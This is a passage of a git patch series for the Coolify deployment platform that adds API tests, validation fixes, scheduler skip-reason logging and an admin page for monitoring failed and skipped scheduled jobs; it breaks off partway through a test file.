+ + test('defaults timeout and enabled when not provided', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [ + 'name' => 'Test', + 'command' => 'echo test', + 'frequency' => '* * * * *', + ]); + + $response->assertStatus(201); + + $this->assertDatabaseHas('scheduled_tasks', [ + 'name' => 'Test', + 'timeout' => 300, + 'enabled' => true, + ]); + }); +}); + +describe('PATCH /api/v1/applications/{uuid}/scheduled-tasks/{task_uuid}', function () { + test('updates task with partial data', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $task = ScheduledTask::factory()->create([ + 'application_id' => $application->id, + 'team_id' => $this->team->id, + 'name' => 'Old Name', + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}", [ + 'name' => 'New Name', + ]); + + $response->assertStatus(200); + $response->assertJsonFragment(['name' => 'New Name']); + }); + + test('returns 404 when task not found', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent", [ + 'name' => 'Test', + ]); + + $response->assertStatus(404); + }); +}); + +describe('DELETE /api/v1/applications/{uuid}/scheduled-tasks/{task_uuid}', function () { + test('deletes task successfully', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $task = ScheduledTask::factory()->create([ + 'application_id' => $application->id, + 'team_id' => $this->team->id, + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->deleteJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}"); + + $response->assertStatus(200); + $response->assertJson(['message' => 'Scheduled task deleted.']); + + $this->assertDatabaseMissing('scheduled_tasks', ['uuid' => $task->uuid]); + }); + + test('returns 404 when task not found', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->deleteJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent"); + + $response->assertStatus(404); + }); +}); + +describe('GET /api/v1/applications/{uuid}/scheduled-tasks/{task_uuid}/executions', function () { + test('returns executions for a task', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $task = ScheduledTask::factory()->create([ + 'application_id' => $application->id, + 'team_id' => $this->team->id, + ]); + + ScheduledTaskExecution::create([ + 'scheduled_task_id' => $task->id, + 'status' => 'success', + 'message' => 'OK', + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}/executions"); + + $response->assertStatus(200); + $response->assertJsonCount(1); + $response->assertJsonFragment(['status' => 'success']); + }); + + test('returns 404 when task not found', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent/executions"); + + $response->assertStatus(404); + }); +}); + +describe('Service scheduled tasks API', function () { + test('can list tasks for a service', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + ScheduledTask::factory()->create([ + 'service_id' => $service->id, + 'team_id' => $this->team->id, + 'name' => 'Service Task', + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->getJson("/api/v1/services/{$service->uuid}/scheduled-tasks"); + + $response->assertStatus(200); + $response->assertJsonCount(1); + $response->assertJsonFragment(['name' => 'Service Task']); + }); + + test('can create a task for a service', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->postJson("/api/v1/services/{$service->uuid}/scheduled-tasks", [ + 'name' => 'Service Backup', + 'command' => 'pg_dump', + 'frequency' => '0 2 * * *', + ]); + + $response->assertStatus(201); + $response->assertJsonFragment(['name' => 'Service Backup']); + }); + + test('can delete a task for a service', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + $task = ScheduledTask::factory()->create([ + 'service_id' => $service->id, + 'team_id' => $this->team->id, + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->deleteJson("/api/v1/services/{$service->uuid}/scheduled-tasks/{$task->uuid}"); + + $response->assertStatus(200); + $response->assertJson(['message' => 'Scheduled task deleted.']); + }); +}); From f0e93eadde55bcfdea4b476e76eb6dfaabe9600d Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 18 Feb 2026 14:22:35 +0100 Subject: [PATCH 061/305] chore: prepare for PR From 4d36265017fa47e546ee4dc12471c13f29981874 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 18 Feb 2026 14:30:44 +0100 Subject: [PATCH 062/305] fix(api): improve scheduled tasks validation and delete logic - Use explicit has() checks for timeout and enabled fields to properly handle falsy values - Add validation to prevent empty update requests - Optimize delete endpoint to use direct query deletion instead of fetch-then-delete - Update factory to use Team::factory() for proper test isolation --- .../Controllers/Api/ScheduledTasksController.php | 14 ++++++++------ database/factories/ScheduledTaskFactory.php | 3 ++- 2 files changed, 10 insertions(+), 7 deletions(-) diff --git a/app/Http/Controllers/Api/ScheduledTasksController.php b/app/Http/Controllers/Api/ScheduledTasksController.php index cf3574f1c..6245dc2ec 100644 --- a/app/Http/Controllers/Api/ScheduledTasksController.php +++ b/app/Http/Controllers/Api/ScheduledTasksController.php @@ -93,8 +93,8 @@ private function createTask(Request $request, Application|Service $resource): \I $task->command = $request->command; $task->frequency = $request->frequency; $task->container = $request->container; - $task->timeout = $request->timeout ?? 300; - $task->enabled = $request->enabled ?? true; + $task->timeout = $request->has('timeout') ? $request->timeout : 300; + $task->enabled = $request->has('enabled') ? $request->enabled : true; $task->team_id = $teamId; if ($resource instanceof Application) { @@ -117,6 +117,10 @@ private function updateTask(Request $request, Application|Service $resource): \I return $return; } + if ($request->all() === []) { + return response()->json(['message' => 'At least one field must be provided.'], 422); + } + $allowedFields = ['name', 'command', 'frequency', 'container', 'timeout', 'enabled']; $validator = customApiValidator($request->all(), [ @@ -164,13 +168,11 @@ private function deleteTask(Request $request, Application|Service $resource): \I { $this->authorize('update', $resource); - $task = $resource->scheduled_tasks()->where('uuid', $request->task_uuid)->first(); - if (! $task) { + $deleted = $resource->scheduled_tasks()->where('uuid', $request->task_uuid)->delete(); + if (! $deleted) { return response()->json(['message' => 'Scheduled task not found.'], 404); } - $task->delete(); - return response()->json(['message' => 'Scheduled task deleted.']); } diff --git a/database/factories/ScheduledTaskFactory.php b/database/factories/ScheduledTaskFactory.php index 5f6519288..6e4d6d740 100644 --- a/database/factories/ScheduledTaskFactory.php +++ b/database/factories/ScheduledTaskFactory.php @@ -2,6 +2,7 @@ namespace Database\Factories; +use App\Models\Team; use Illuminate\Database\Eloquent\Factories\Factory; class ScheduledTaskFactory extends Factory @@ -14,7 +15,7 @@ public function definition(): array 'frequency' => '* * * * *', 'timeout' => 300, 'enabled' => true, - 'team_id' => 1, + 'team_id' => Team::factory(), ]; } } From 664b31212fecaf464bf719df7f722e55262b1db8 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 18 Feb 2026 15:42:42 +0100 Subject: [PATCH 063/305] chore: prepare for PR --- app/Jobs/ScheduledJobManager.php | 115 ++++++-- app/Livewire/Settings/ScheduledJobs.php | 211 ++++++++++++++ app/Services/SchedulerLogParser.php | 188 +++++++++++++ .../components/settings/navbar.blade.php | 4 + .../settings/scheduled-jobs.blade.php | 260 ++++++++++++++++++ routes/web.php | 2 + tests/Feature/ScheduledJobMonitoringTest.php | 200 ++++++++++++++ 7 files changed, 958 insertions(+), 22 deletions(-) create mode 100644 app/Livewire/Settings/ScheduledJobs.php create mode 100644 app/Services/SchedulerLogParser.php create mode 100644 resources/views/livewire/settings/scheduled-jobs.blade.php create mode 100644 tests/Feature/ScheduledJobMonitoringTest.php diff --git a/app/Jobs/ScheduledJobManager.php b/app/Jobs/ScheduledJobManager.php index 75ff883c2..c9dc20af1 100644 --- a/app/Jobs/ScheduledJobManager.php +++ b/app/Jobs/ScheduledJobManager.php @@ -27,6 +27,10 @@ class ScheduledJobManager implements ShouldQueue */ private ?Carbon $executionTime = null; + private int $dispatchedCount = 0; + + private int $skippedCount = 0; + /** * Create a new job instance. */ @@ -61,6 +65,12 @@ public function handle(): void { // Freeze the execution time at the start of the job $this->executionTime = Carbon::now(); + $this->dispatchedCount = 0; + $this->skippedCount = 0; + + Log::channel('scheduled')->info('ScheduledJobManager started', [ + 'execution_time' => $this->executionTime->toIso8601String(), + ]); // Process backups - don't let failures stop task processing try { @@ -91,6 +101,13 @@ public function handle(): void 'trace' => $e->getTraceAsString(), ]); } + + Log::channel('scheduled')->info('ScheduledJobManager completed', [ + 'execution_time' => $this->executionTime->toIso8601String(), + 'duration_ms' => Carbon::now()->diffInMilliseconds($this->executionTime), + 'dispatched' => $this->dispatchedCount, + 'skipped' => $this->skippedCount, + ]); } private function processScheduledBackups(): void @@ -101,8 +118,16 @@ private function processScheduledBackups(): void foreach ($backups as $backup) { try { - // Apply the same filtering logic as the original - if (! $this->shouldProcessBackup($backup)) { + $skipReason = $this->getBackupSkipReason($backup); + if ($skipReason !== null) { + $this->skippedCount++; + $this->logSkip('backup', $skipReason, [ + 'backup_id' => $backup->id, + 'database_id' => $backup->database_id, + 'database_type' => $backup->database_type, + 'team_id' => $backup->team_id ?? null, + ]); + continue; } @@ -120,6 +145,14 @@ private function processScheduledBackups(): void if ($this->shouldRunNow($frequency, $serverTimezone)) { DatabaseBackupJob::dispatch($backup); + $this->dispatchedCount++; + Log::channel('scheduled')->info('Backup dispatched', [ + 'backup_id' => $backup->id, + 'database_id' => $backup->database_id, + 'database_type' => $backup->database_type, + 'team_id' => $backup->team_id ?? null, + 'server_id' => $server->id, + ]); } } catch (\Exception $e) { Log::channel('scheduled-errors')->error('Error processing backup', [ @@ -138,7 +171,15 @@ private function processScheduledTasks(): void foreach ($tasks as $task) { try { - if (! $this->shouldProcessTask($task)) { + $skipReason = $this->getTaskSkipReason($task); + if ($skipReason !== null) { + $this->skippedCount++; + $this->logSkip('task', $skipReason, [ + 'task_id' => $task->id, + 'task_name' => $task->name, + 'team_id' => $task->server()?->team_id, + ]); + continue; } @@ -156,6 +197,13 @@ private function processScheduledTasks(): void if ($this->shouldRunNow($frequency, $serverTimezone)) { ScheduledTaskJob::dispatch($task); + $this->dispatchedCount++; + Log::channel('scheduled')->info('Task dispatched', [ + 'task_id' => $task->id, + 'task_name' => $task->name, + 'team_id' => $server->team_id, + 'server_id' => $server->id, + ]); } } catch (\Exception $e) { Log::channel('scheduled-errors')->error('Error processing task', [ @@ -166,33 +214,33 @@ private function processScheduledTasks(): void } } - private function shouldProcessBackup(ScheduledDatabaseBackup $backup): bool + private function getBackupSkipReason(ScheduledDatabaseBackup $backup): ?string { if (blank(data_get($backup, 'database'))) { $backup->delete(); - return false; + return 'database_deleted'; } $server = $backup->server(); if (blank($server)) { $backup->delete(); - return false; + return 'server_deleted'; } if ($server->isFunctional() === false) { - return false; + return 'server_not_functional'; } if (isCloud() && data_get($server->team->subscription, 'stripe_invoice_paid', false) === false && $server->team->id !== 0) { - return false; + return 'subscription_unpaid'; } - return true; + return null; } - private function shouldProcessTask(ScheduledTask $task): bool + private function getTaskSkipReason(ScheduledTask $task): ?string { $service = $task->service; $application = $task->application; @@ -201,32 +249,32 @@ private function shouldProcessTask(ScheduledTask $task): bool if (blank($server)) { $task->delete(); - return false; + return 'server_deleted'; } if ($server->isFunctional() === false) { - return false; + return 'server_not_functional'; } if (isCloud() && data_get($server->team->subscription, 'stripe_invoice_paid', false) === false && $server->team->id !== 0) { - return false; + return 'subscription_unpaid'; } if (! $service && ! $application) { $task->delete(); - return false; + return 'resource_deleted'; } if ($application && str($application->status)->contains('running') === false) { - return false; + return 'application_not_running'; } if ($service && str($service->status)->contains('running') === false) { - return false; + return 'service_not_running'; } - return true; + return null; } private function shouldRunNow(string $frequency, string $timezone): bool @@ -248,7 +296,15 @@ private function processDockerCleanups(): void foreach ($servers as $server) { try { - if (! $this->shouldProcessDockerCleanup($server)) { + $skipReason = $this->getDockerCleanupSkipReason($server); + if ($skipReason !== null) { + $this->skippedCount++; + $this->logSkip('docker_cleanup', $skipReason, [ + 'server_id' => $server->id, + 'server_name' => $server->name, + 'team_id' => $server->team_id, + ]); + continue; } @@ -270,6 +326,12 @@ private function processDockerCleanups(): void $server->settings->delete_unused_volumes, $server->settings->delete_unused_networks ); + $this->dispatchedCount++; + Log::channel('scheduled')->info('Docker cleanup dispatched', [ + 'server_id' => $server->id, + 'server_name' => $server->name, + 'team_id' => $server->team_id, + ]); } } catch (\Exception $e) { Log::channel('scheduled-errors')->error('Error processing docker cleanup', [ @@ -296,19 +358,28 @@ private function getServersForCleanup(): Collection return $query->get(); } - private function shouldProcessDockerCleanup(Server $server): bool + private function getDockerCleanupSkipReason(Server $server): ?string { if (! $server->isFunctional()) { - return false; + return 'server_not_functional'; } // In cloud, check subscription status (except team 0) if (isCloud() && $server->team_id !== 0) { if (data_get($server->team->subscription, 'stripe_invoice_paid', false) === false) { - return false; + return 'subscription_unpaid'; } } - return true; + return null; + } + + private function logSkip(string $type, string $reason, array $context = []): void + { + Log::channel('scheduled')->info(ucfirst(str_replace('_', ' ', $type)).' skipped', array_merge([ + 'type' => $type, + 'skip_reason' => $reason, + 'execution_time' => $this->executionTime?->toIso8601String(), + ], $context)); } } diff --git a/app/Livewire/Settings/ScheduledJobs.php b/app/Livewire/Settings/ScheduledJobs.php new file mode 100644 index 000000000..66480cd8d --- /dev/null +++ b/app/Livewire/Settings/ScheduledJobs.php @@ -0,0 +1,211 @@ +executions = collect(); + $this->skipLogs = collect(); + $this->managerRuns = collect(); + } + + public function mount(): void + { + if (! isInstanceAdmin()) { + redirect()->route('dashboard'); + + return; + } + + $this->loadData(); + } + + public function updatedFilterType(): void + { + $this->loadData(); + } + + public function updatedFilterDate(): void + { + $this->loadData(); + } + + public function refresh(): void + { + $this->loadData(); + } + + public function render() + { + return view('livewire.settings.scheduled-jobs', [ + 'executions' => $this->executions, + 'skipLogs' => $this->skipLogs, + 'managerRuns' => $this->managerRuns, + ]); + } + + private function loadData(?int $teamId = null): void + { + $this->executions = $this->getExecutions($teamId); + + $parser = new SchedulerLogParser; + $this->skipLogs = $parser->getRecentSkips(50, $teamId); + $this->managerRuns = $parser->getRecentRuns(30, $teamId); + } + + private function getExecutions(?int $teamId = null): Collection + { + $dateFrom = $this->getDateFrom(); + + $backups = collect(); + $tasks = collect(); + $cleanups = collect(); + + if ($this->filterType === 'all' || $this->filterType === 'backup') { + $backups = $this->getBackupExecutions($dateFrom, $teamId); + } + + if ($this->filterType === 'all' || $this->filterType === 'task') { + $tasks = $this->getTaskExecutions($dateFrom, $teamId); + } + + if ($this->filterType === 'all' || $this->filterType === 'cleanup') { + $cleanups = $this->getCleanupExecutions($dateFrom, $teamId); + } + + return $backups->concat($tasks)->concat($cleanups) + ->sortByDesc('created_at') + ->values() + ->take(100); + } + + private function getBackupExecutions(?Carbon $dateFrom, ?int $teamId): Collection + { + $query = ScheduledDatabaseBackupExecution::with(['scheduledDatabaseBackup.database', 'scheduledDatabaseBackup.team']) + ->where('status', 'failed') + ->when($dateFrom, fn ($q) => $q->where('created_at', '>=', $dateFrom)) + ->when($teamId, fn ($q) => $q->whereRelation('scheduledDatabaseBackup.team', 'id', $teamId)) + ->orderBy('created_at', 'desc') + ->limit(100) + ->get(); + + return $query->map(function ($execution) { + $backup = $execution->scheduledDatabaseBackup; + $database = $backup?->database; + $server = $backup?->server(); + + return [ + 'id' => $execution->id, + 'type' => 'backup', + 'status' => $execution->status ?? 'unknown', + 'resource_name' => $database?->name ?? 'Deleted database', + 'resource_type' => $database ? class_basename($database) : null, + 'server_name' => $server?->name ?? 'Unknown', + 'server_id' => $server?->id, + 'team_id' => $backup?->team_id, + 'created_at' => $execution->created_at, + 'finished_at' => $execution->updated_at, + 'message' => $execution->message, + 'size' => $execution->size ?? null, + ]; + }); + } + + private function getTaskExecutions(?Carbon $dateFrom, ?int $teamId): Collection + { + $query = ScheduledTaskExecution::with(['scheduledTask.application', 'scheduledTask.service']) + ->where('status', 'failed') + ->when($dateFrom, fn ($q) => $q->where('created_at', '>=', $dateFrom)) + ->when($teamId, function ($q) use ($teamId) { + $q->where(function ($sub) use ($teamId) { + $sub->whereRelation('scheduledTask.application.environment.project.team', 'id', $teamId) + ->orWhereRelation('scheduledTask.service.environment.project.team', 'id', $teamId); + }); + }) + ->orderBy('created_at', 'desc') + ->limit(100) + ->get(); + + return $query->map(function ($execution) { + $task = $execution->scheduledTask; + $resource = $task?->application ?? $task?->service; + $server = $task?->server(); + $teamId = $server?->team_id; + + return [ + 'id' => $execution->id, + 'type' => 'task', + 'status' => $execution->status ?? 'unknown', + 'resource_name' => $task?->name ?? 'Deleted task', + 'resource_type' => $resource ? class_basename($resource) : null, + 'server_name' => $server?->name ?? 'Unknown', + 'server_id' => $server?->id, + 'team_id' => $teamId, + 'created_at' => $execution->created_at, + 'finished_at' => $execution->finished_at, + 'message' => $execution->message, + 'size' => null, + ]; + }); + } + + private function getCleanupExecutions(?Carbon $dateFrom, ?int $teamId): Collection + { + $query = DockerCleanupExecution::with(['server']) + ->where('status', 'failed') + ->when($dateFrom, fn ($q) => $q->where('created_at', '>=', $dateFrom)) + ->when($teamId, fn ($q) => $q->whereRelation('server', 'team_id', $teamId)) + ->orderBy('created_at', 'desc') + ->limit(100) + ->get(); + + return $query->map(function ($execution) { + $server = $execution->server; + + return [ + 'id' => $execution->id, + 'type' => 'cleanup', + 'status' => $execution->status ?? 'unknown', + 'resource_name' => $server?->name ?? 'Deleted server', + 'resource_type' => 'Server', + 'server_name' => $server?->name ?? 'Unknown', + 'server_id' => $server?->id, + 'team_id' => $server?->team_id, + 'created_at' => $execution->created_at, + 'finished_at' => $execution->finished_at ?? $execution->updated_at, + 'message' => $execution->message, + 'size' => null, + ]; + }); + } + + private function getDateFrom(): ?Carbon + { + return match ($this->filterDate) { + 'last_24h' => now()->subDay(), + 'last_7d' => now()->subWeek(), + 'last_30d' => now()->subMonth(), + default => null, + }; + } +} diff --git a/app/Services/SchedulerLogParser.php b/app/Services/SchedulerLogParser.php new file mode 100644 index 000000000..a735a11c3 --- /dev/null +++ b/app/Services/SchedulerLogParser.php @@ -0,0 +1,188 @@ + + */ + public function getRecentSkips(int $limit = 100, ?int $teamId = null): Collection + { + $logFiles = $this->getLogFiles(); + + $skips = collect(); + + foreach ($logFiles as $logFile) { + $lines = $this->readLastLines($logFile, 2000); + + foreach ($lines as $line) { + $entry = $this->parseLogLine($line); + if ($entry === null || ! isset($entry['context']['skip_reason'])) { + continue; + } + + if ($teamId !== null && ($entry['context']['team_id'] ?? null) !== $teamId) { + continue; + } + + $skips->push([ + 'timestamp' => $entry['timestamp'], + 'type' => $entry['context']['type'] ?? 'unknown', + 'reason' => $entry['context']['skip_reason'], + 'team_id' => $entry['context']['team_id'] ?? null, + 'context' => $entry['context'], + ]); + } + } + + return $skips->sortByDesc('timestamp')->values()->take($limit); + } + + /** + * Get recent manager execution logs (start/complete events). + * + * @return Collection + */ + public function getRecentRuns(int $limit = 60, ?int $teamId = null): Collection + { + $logFiles = $this->getLogFiles(); + + $runs = collect(); + + foreach ($logFiles as $logFile) { + $lines = $this->readLastLines($logFile, 2000); + + foreach ($lines as $line) { + $entry = $this->parseLogLine($line); + if ($entry === null) { + continue; + } + + if (! str_contains($entry['message'], 'ScheduledJobManager')) { + continue; + } + + $runs->push([ + 'timestamp' => $entry['timestamp'], + 'message' => $entry['message'], + 'duration_ms' => $entry['context']['duration_ms'] ?? null, + 'dispatched' => $entry['context']['dispatched'] ?? null, + 'skipped' => $entry['context']['skipped'] ?? null, + ]); + } + } + + return $runs->sortByDesc('timestamp')->values()->take($limit); + } + + private function getLogFiles(): array + { + $logDir = storage_path('logs'); + if (! File::isDirectory($logDir)) { + return []; + } + + $files = File::glob($logDir.'/scheduled-*.log'); + + // Sort by modification time, newest first + usort($files, fn ($a, $b) => filemtime($b) - filemtime($a)); + + // Only check last 3 days of logs + return array_slice($files, 0, 3); + } + + /** + * @return array{timestamp: string, level: string, message: string, context: array}|null + */ + private function parseLogLine(string $line): ?array + { + // Laravel daily log format: [2024-01-15 10:30:00] production.INFO: Message {"key":"value"} + if (! preg_match('/^\[(\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2})\] \w+\.(\w+): (.+)$/', $line, $matches)) { + return null; + } + + $timestamp = $matches[1]; + $level = $matches[2]; + $rest = $matches[3]; + + // Extract JSON context if present + $context = []; + if (preg_match('/^(.+?)\s+(\{.+\})\s*$/', $rest, $contextMatches)) { + $message = $contextMatches[1]; + $decoded = json_decode($contextMatches[2], true); + if (is_array($decoded)) { + $context = $decoded; + } + } else { + $message = $rest; + } + + return [ + 'timestamp' => $timestamp, + 'level' => $level, + 'message' => $message, + 'context' => $context, + ]; + } + + /** + * Efficiently read the last N lines of a file. + * + * @return string[] + */ + private function readLastLines(string $filePath, int $lines): array + { + if (! File::exists($filePath)) { + return []; + } + + $fileSize = File::size($filePath); + if ($fileSize === 0) { + return []; + } + + // For small files, read the whole thing + if ($fileSize < 1024 * 1024) { + $content = File::get($filePath); + + return array_filter(explode("\n", $content), fn ($line) => $line !== ''); + } + + // For large files, read from the end + $handle = fopen($filePath, 'r'); + if ($handle === false) { + return []; + } + + $result = []; + $chunkSize = 8192; + $buffer = ''; + $position = $fileSize; + + while ($position > 0 && count($result) < $lines) { + $readSize = min($chunkSize, $position); + $position -= $readSize; + fseek($handle, $position); + $buffer = fread($handle, $readSize).$buffer; + + $bufferLines = explode("\n", $buffer); + $buffer = array_shift($bufferLines); + + $result = array_merge(array_filter($bufferLines, fn ($line) => $line !== ''), $result); + } + + if ($buffer !== '' && count($result) < $lines) { + array_unshift($result, $buffer); + } + + fclose($handle); + + return array_slice($result, -$lines); + } +} diff --git a/resources/views/components/settings/navbar.blade.php b/resources/views/components/settings/navbar.blade.php index 10df20e03..565e485d0 100644 --- a/resources/views/components/settings/navbar.blade.php +++ b/resources/views/components/settings/navbar.blade.php @@ -19,6 +19,10 @@ href="{{ route('settings.oauth') }}"> OAuth + + Scheduled Jobs +
diff --git a/resources/views/livewire/settings/scheduled-jobs.blade.php b/resources/views/livewire/settings/scheduled-jobs.blade.php new file mode 100644 index 000000000..d22aca911 --- /dev/null +++ b/resources/views/livewire/settings/scheduled-jobs.blade.php @@ -0,0 +1,260 @@ +
+ + Scheduled Job Issues | Coolify + + +
+
+
+

Scheduled Job Issues

+ Refresh +
+
Shows failed executions, skipped jobs, and scheduler health.
+
+ + {{-- Tab Buttons --}} +
+
+ Failures ({{ $executions->count() }}) +
+
+ Scheduler Runs ({{ $managerRuns->count() }}) +
+
+ Skipped Jobs ({{ $skipLogs->count() }}) +
+
+ + {{-- Executions Tab --}} +
+ {{-- Filters --}} +
+
+ + +
+
+ + +
+
+ +
+ + + + + + + + + + + + + @forelse($executions as $execution) + + + + + + + + + @empty + + + + @endforelse + +
TypeResourceServerStartedDurationMessage
+ @php + $typeLabel = match($execution['type']) { + 'backup' => 'Backup', + 'task' => 'Task', + 'cleanup' => 'Cleanup', + default => ucfirst($execution['type']), + }; + $typeBg = match($execution['type']) { + 'backup' => 'bg-blue-100 text-blue-800 dark:bg-blue-900/30 dark:text-blue-300', + 'task' => 'bg-purple-100 text-purple-800 dark:bg-purple-900/30 dark:text-purple-300', + 'cleanup' => 'bg-orange-100 text-orange-800 dark:bg-orange-900/30 dark:text-orange-300', + default => 'bg-gray-100 text-gray-800 dark:bg-gray-900/30 dark:text-gray-300', + }; + @endphp + + {{ $typeLabel }} + + + {{ $execution['resource_name'] }} + @if($execution['resource_type']) + ({{ $execution['resource_type'] }}) + @endif + {{ $execution['server_name'] }} + {{ $execution['created_at']->diffForHumans() }} + {{ $execution['created_at']->format('M d H:i') }} + + @if($execution['finished_at'] && $execution['created_at']) + {{ \Carbon\Carbon::parse($execution['created_at'])->diffInSeconds(\Carbon\Carbon::parse($execution['finished_at'])) }}s + @elseif($execution['status'] === 'running') + + @else + - + @endif + + {{ \Illuminate\Support\Str::limit($execution['message'], 80) }} +
+ No failures found for the selected filters. +
+
+
+ + {{-- Scheduler Runs Tab --}} +
+
Shows when the ScheduledJobManager executed. Gaps indicate lock conflicts or missed runs.
+
+ + + + + + + + + + + + @forelse($managerRuns as $run) + + + + + + + + @empty + + + + @endforelse + +
TimeEventDurationDispatchedSkipped
{{ $run['timestamp'] }}{{ $run['message'] }} + @if($run['duration_ms'] !== null) + {{ $run['duration_ms'] }}ms + @else + - + @endif + {{ $run['dispatched'] ?? '-' }} + @if(($run['skipped'] ?? 0) > 0) + {{ $run['skipped'] }} + @else + {{ $run['skipped'] ?? '-' }} + @endif +
+ No scheduler run logs found. Logs appear after the ScheduledJobManager runs. +
+
+
+ + {{-- Skipped Jobs Tab --}} +
+
Jobs that were not dispatched because conditions were not met.
+
+ + + + + + + + + + + @forelse($skipLogs as $skip) + + + + + + + @empty + + + + @endforelse + +
TimeTypeReasonDetails
{{ $skip['timestamp'] }} + @php + $skipTypeBg = match($skip['type']) { + 'backup' => 'bg-blue-100 text-blue-800 dark:bg-blue-900/30 dark:text-blue-300', + 'task' => 'bg-purple-100 text-purple-800 dark:bg-purple-900/30 dark:text-purple-300', + 'docker_cleanup' => 'bg-orange-100 text-orange-800 dark:bg-orange-900/30 dark:text-orange-300', + default => 'bg-gray-100 text-gray-800 dark:bg-gray-900/30 dark:text-gray-300', + }; + @endphp + + {{ ucfirst(str_replace('_', ' ', $skip['type'])) }} + + + @php + $reasonLabel = match($skip['reason']) { + 'server_not_functional' => 'Server not functional', + 'subscription_unpaid' => 'Subscription unpaid', + 'database_deleted' => 'Database deleted', + 'server_deleted' => 'Server deleted', + 'resource_deleted' => 'Resource deleted', + 'application_not_running' => 'Application not running', + 'service_not_running' => 'Service not running', + default => ucfirst(str_replace('_', ' ', $skip['reason'])), + }; + $reasonBg = match($skip['reason']) { + 'server_not_functional', 'database_deleted', 'server_deleted', 'resource_deleted' => 'text-red-600 dark:text-red-400', + 'subscription_unpaid' => 'text-warning', + 'application_not_running', 'service_not_running' => 'text-orange-600 dark:text-orange-400', + default => '', + }; + @endphp + {{ $reasonLabel }} + + @php + $details = collect($skip['context']) + ->except(['type', 'skip_reason', 'execution_time']) + ->map(fn($v, $k) => str_replace('_', ' ', $k) . ': ' . $v) + ->implode(', '); + @endphp + {{ $details }} +
+ No skipped jobs found. This means all scheduled jobs passed their conditions. +
+
+
+
+
diff --git a/routes/web.php b/routes/web.php index e8c738b71..b6c6c95ce 100644 --- a/routes/web.php +++ b/routes/web.php @@ -62,6 +62,7 @@ use App\Livewire\Server\Swarm as ServerSwarm; use App\Livewire\Settings\Advanced as SettingsAdvanced; use App\Livewire\Settings\Index as SettingsIndex; +use App\Livewire\Settings\ScheduledJobs as SettingsScheduledJobs; use App\Livewire\Settings\Updates as SettingsUpdates; use App\Livewire\SettingsBackup; use App\Livewire\SettingsEmail; @@ -119,6 +120,7 @@ Route::get('/settings/backup', SettingsBackup::class)->name('settings.backup'); Route::get('/settings/email', SettingsEmail::class)->name('settings.email'); Route::get('/settings/oauth', SettingsOauth::class)->name('settings.oauth'); + Route::get('/settings/scheduled-jobs', SettingsScheduledJobs::class)->name('settings.scheduled-jobs'); Route::get('/profile', ProfileIndex::class)->name('profile'); diff --git a/tests/Feature/ScheduledJobMonitoringTest.php b/tests/Feature/ScheduledJobMonitoringTest.php new file mode 100644 index 000000000..1348375d4 --- /dev/null +++ b/tests/Feature/ScheduledJobMonitoringTest.php @@ -0,0 +1,200 @@ +rootTeam = Team::factory()->create(['id' => 0, 'name' => 'Root Team']); + $this->rootUser = User::factory()->create(); + $this->rootUser->teams()->attach($this->rootTeam, ['role' => 'owner']); + + // Create regular team and user + $this->regularTeam = Team::factory()->create(); + $this->regularUser = User::factory()->create(); + $this->regularUser->teams()->attach($this->regularTeam, ['role' => 'owner']); +}); + +test('scheduled jobs page requires instance admin access', function () { + $this->actingAs($this->regularUser); + session(['currentTeam' => $this->regularTeam]); + + $response = $this->get(route('settings.scheduled-jobs')); + $response->assertRedirect(route('dashboard')); +}); + +test('scheduled jobs page is accessible by instance admin', function () { + $this->actingAs($this->rootUser); + session(['currentTeam' => $this->rootTeam]); + + Livewire::test(ScheduledJobs::class) + ->assertStatus(200) + 